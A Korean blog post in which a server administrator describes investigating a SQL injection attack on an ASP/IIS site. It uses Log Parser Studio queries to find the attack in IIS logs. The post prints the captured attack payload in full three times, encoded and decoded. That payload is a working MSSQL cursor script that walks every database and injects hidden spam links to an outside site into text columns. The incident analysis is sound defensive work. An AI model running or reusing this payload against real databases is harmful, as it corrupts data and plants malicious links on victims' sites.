출처1 : http://iprize.tistory.com/665
출처3 : http://unabated.tistory.com/entry/Web-Hacking-1%ED%83%84-SQL-Injection
출처4 : 웹 로그 분석을 통한 공격자 식별방법 / SANS 연구소
출처5 : 자동화된 SQL Injection 공격을 통한 악성코드 대량 삽입 수법 분석 / 한국정보보호진흥원
워크샵 때 발표자료...
SANS-웹로그분석기법(SANS코리아)-2015-06-05 (1).pdf
얼마전 회사 서버가 인젝션 공격에 당했다.
해당 사이트는 ASP 로 개발된 페이지였고, Request에 대하여 Validate 검사 없이 바로 쿼리 문으로 동작하게끔 되어있어 매우 취약한 형태를 보였다.
관리하는 서버의 IIS에는 약 18개의 사이트가 올라가 있었고, 로그 파일의 크기는 4개월치가 약 65기가 정도.
처음엔 인젝션에 대해 공부하는 시간이 필요했다.
그리고 IISW3C 형태의 로그를 분석하기 위해 툴들을 찾아봤는데, MS에서 Log parser 라는 것을 내놓았다고 한다.
http://www.microsoft.com/en-us/download/details.aspx?id=24659
혹시 몰라서 다운 받은 파일도 같이 올린다.
위의 로그파서를 받아서 CMD로 사용해도 되지만, SSMS에 익숙한 나는 Log Parser Studio 를 받는다.
http://gallery.technet.microsoft.com/Log-Parser-Studio-cd458765
Log Parser Studio는 압축을 풀기만 하면된다.
LPS 파일을 실행해보자.
위와 같은 화면이 나올 것이다.
라이브러리는 자주쓰는 쿼리를 넣어둔 것 같다. 더블클릭하면 새 쿼리 창에 해당 쿼리가 출력되어진다.
우선 위의 폴더모양의 아이콘을 눌러서 로그파일을 추가해보자.
그리고 위와 같이 쿼리를 넣어두고, F5 키 또는 위의 빨간 느낌표를 누르면 쿼리가 실행된다.
너무 오래 걸리거나 잘못된 쿼리를 날렸을 경우 빨간 동그라미에 X 표시를 누르면 쿼리가 멈춘다.
아래는 내가 검색했던 쿼리들.
1. Referer 와 IP 별 가장 카운트가 많은 개 수
SELECT distinct cs(Referer), c-ip, count(*) as hits FROM '[LOGFILEPATH]'
GROUP BY cs(Referer), c-ip ORDER BY hits DESC
2. ASP 또는 ASPX 파일을 호출한 Get Parameter 중 declare 라는 문구가 들어간 로그들 카운트(실제로 이 쿼리로 찾았다.)
SELECT c-ip AS IP,
cs-uri-stem AS Uri,
cs-uri-query AS ErrorMsg,
COUNT(*) AS Total
FROM '[LOGFILEPATH]'
WHERE (sc-status = 500) AND (cs-uri-stem LIKE '%.asp%') AND (cs-uri-query LIKE '%declare%')
GROUP BY IP, Uri, ErrorMsg
ORDER BY Total DESC
3. ASP 또는 ASPX 파일을 호출한 Get Parameter 중 declare 라는 문구가 들어간 로그의 파일명과 날짜, 시간, 줄번호
SELECT logfilename, date, time, logrow, cs(referer),
c-ip AS IP,
cs-uri-stem AS Uri,
cs-uri-query AS ErrorMsg
FROM '[LOGFILEPATH]'
WHERE (sc-status = 500) AND (cs-uri-stem LIKE '%.asp%') AND (cs-uri-query LIKE '%declare%')
실제로 뽑아낸 결과(밑에 더 있지만 한줄만 올린다.)
위 결과의 ErrorMsg 부분(MSSQL에서 실행하면 안됩니다.)
id=1';declare%20@b%20cursor;declare%20@s%20varchar(8000);declare%20@w%20varchar(99);set%20@b=cursor%20for%20select%20DB_NAME()%20union%20select%20name%20from%20sys.databases%20where%20(has_dbaccess(name)!=0)%20and%20name%20not%20in%20('master','tempdb','model','msdb',DB_NAME());open%20@b;fetch%20next%20from%20@b%20into%20@w;while%20@@FETCH_STATUS=0%20begin%20set%20@s='begin%20try%20use%20'%2B@w%2B';declare%20@c%20cursor;declare%20@d%20varchar(4000);set%20@c=cursor%20for%20select%20''update%20%5B''%2BTABLE_NAME%2B''%5D%20set%20%5B''%2BCOLUMN_NAME%2B''%5D=%5B''%2BCOLUMN_NAME%2B''%5D%2Bcase%20ABS(CHECKSUM(NewId()))%2510%20when%200%20then%20''''''%2Bchar(60)%2B''div%20style=%22display:none%22''%2Bchar(62)%2B''aids%20hiv%20prevention%20''%2Bchar(60)%2B''a%20href=%22http:''%2Bchar(47)%2Bchar(47)%2B''www.nav-connector.com''%2Bchar(47)%2B''template''%2Bchar(47)%2B''page''%2Bchar(47)%2B''natural-cures-for-hiv.aspx%22''%2Bchar(62)%2B''''''%2Bcase%20ABS(CHECKSUM(NewId()))%253%20when%200%20then%20''''nav-connector.com''''%20when%201%20then%20''''link''''%20else%20''''signs%20of%20aids''%2Bchar(47)%2B''hiv''''%20end%20%2B''''''%2Bchar(60)%2Bchar(47)%2B''a''%2Bchar(62)%2B''%20signs%20and%20symptoms%20of%20hiv''%2Bchar(47)%2B''aids''%2Bchar(60)%2Bchar(47)%2B''div''%2Bchar(62)%2B''''''%20else%20''''''''%20end''%20FROM%20sysindexes%20AS%20i%20INNER%20JOIN%20sysobjects%20AS%20o%20ON%20i.id=o.id%20INNER%20JOIN%20INFORMATION_SCHEMA.COLUMNS%20ON%20o.NAME=TABLE_NAME%20WHERE(indid%20in%20(0,1))%20and%20DATA_TYPE%20like%20''%25varchar''%20and(CHARACTER_MAXIMUM_LENGTH%20in%20(2147483647,-1));open%20@c;fetch%20next%20from%20@c%20into%20@d;while%20@@FETCH_STATUS=0%20begin%20exec%20(@d);fetch%20next%20from%20@c%20into%20@d;end;close%20@c%20end%20try%20begin%20catch%20end%20catch';exec%20(@s);fetch%20next%20from%20@b%20into%20@w;end;close%20@b--
위 결과를 보기좋게 인코딩 한 부분(MSSQL에서 실행하면 안됩니다.)
declare @b cursor;declare @s varchar(8000);declare @w varchar(99);set @b=cursor for select DB_NAME() union select name from sys.databases where (has_dbaccess(name)!=0) and name not in ('master','tempdb','model','msdb',DB_NAME());open @b;fetch next from @b into @w;while @@FETCH_STATUS=0 begin set @s='begin try use '+@w+';declare @c cursor;declare @d varchar(4000);set @c=cursor for select ''update [''+TABLE_NAME+''] set [''+COLUMN_NAME+'']=[''+COLUMN_NAME+'']+case ABS(CHECKSUM(NewId()))%10 when 0 then ''''''+char(60)+''div style="display:none"''+char(62)+''aids hiv prevention ''+char(60)+''a href="http:''+char(47)+char(47)+''www.nav-connector.com''+char(47)+''template''+char(47)+''page''+char(47)+''natural-cures-for-hiv.aspx"''+char(62)+''''''+case ABS(CHECKSUM(NewId()))%3 when 0 then ''''nav-connector.com'''' when 1 then ''''link'''' else ''''signs of aids''+char(47)+''hiv'''' end +''''''+char(60)+char(47)+''a''+char(62)+'' signs and symptoms of hiv''+char(47)+''aids''+char(60)+char(47)+''div''+char(62)+'''''' else '''''''' end'' FROM sysindexes AS i INNER JOIN sysobjects AS o ON i.id=o.id INNER JOIN INFORMATION_SCHEMA.COLUMNS ON o.NAME=TABLE_NAME WHERE(indid in (0,1)) and DATA_TYPE like ''%varchar'' and(CHARACTER_MAXIMUM_LENGTH in (2147483647,-1));open @c;fetch next from @c into @d;while @@FETCH_STATUS=0 begin exec (@d);fetch next from @c into @d;end;close @c end try begin catch end catch';exec (@s);fetch next from @b into @w;end;close @b--
쿼리문을 더 보기좋게 바꾸었다.(MSSQL에서 실행하면 안됩니다.)
DECLARE @b CURSOR;DECLARE @s VARCHAR(8000);DECLARE @w VARCHAR(99);SET @b = CURSOR FOR SELECT DB_NAME() UNION SELECT NAME FROM sys.databases WHERE (has_dbaccess(NAME) != 0) AND NAME NOT IN ( 'master' ,'tempdb' ,'model' ,'msdb' ,DB_NAME() ); OPEN @b; FETCH NEXT FROM @b INTO @w; WHILE @@FETCH_STATUS = 0 BEGIN SET @s = 'begin try use ' + @w + ';declare @c cursor;declare @d varchar(4000);set @c=cursor for select ''update [''+TABLE_NAME+''] set [''+COLUMN_NAME+'']=[''+COLUMN_NAME+'']+case ABS(CHECKSUM(NewId()))%10 when 0 then ''''''+char(60)+''div style="display:none"''+char(62)+''aids hiv prevention ''+char(60)+''a href="http:''+char(47)+char(47)+''www.nav-connector.com''+char(47)+''template''+char(47)+''page''+char(47)+''natural-cures-for-hiv.aspx"''+char(62)+''''''+case ABS(CHECKSUM(NewId()))%3 when 0 then ''''nav-connector.com'''' when 1 then ''''link'''' else ''''signs of aids''+char(47)+''hiv'''' end +''''''+char(60)+char(47)+''a''+char(62)+'' signs and symptoms of hiv''+char(47)+''aids''+char(60)+char(47)+''div''+char(62)+'''''' else '''''''' end'' FROM sysindexes AS i INNER JOIN sysobjects AS o ON i.id=o.id INNER JOIN INFORMATION_SCHEMA.COLUMNS ON o.NAME=TABLE_NAME WHERE(indid in (0,1)) and DATA_TYPE like ''%varchar'' and(CHARACTER_MAXIMUM_LENGTH in (2147483647,-1));open @c;fetch next from @c into @d;while @@FETCH_STATUS=0 begin exec (@d);fetch next from @c into @d;end;close @c end try begin catch end catch' ; EXEC (@s); FETCH NEXT FROM @b INTO @w; END; CLOSE @b --
DB 인젝션 부분은 알고있지만, 예전 페이지 같은 경우 적용되지 않은 경우가 꽤나 있는 것 같다.
이럴 경우 WebKnight 같은 ISAP 필터를 적용하면 해결할 수 있다.
다만 겟방식 파라미터 또는 웹서비스 파라미터에 SQL 구문이 들어가면 막힌다.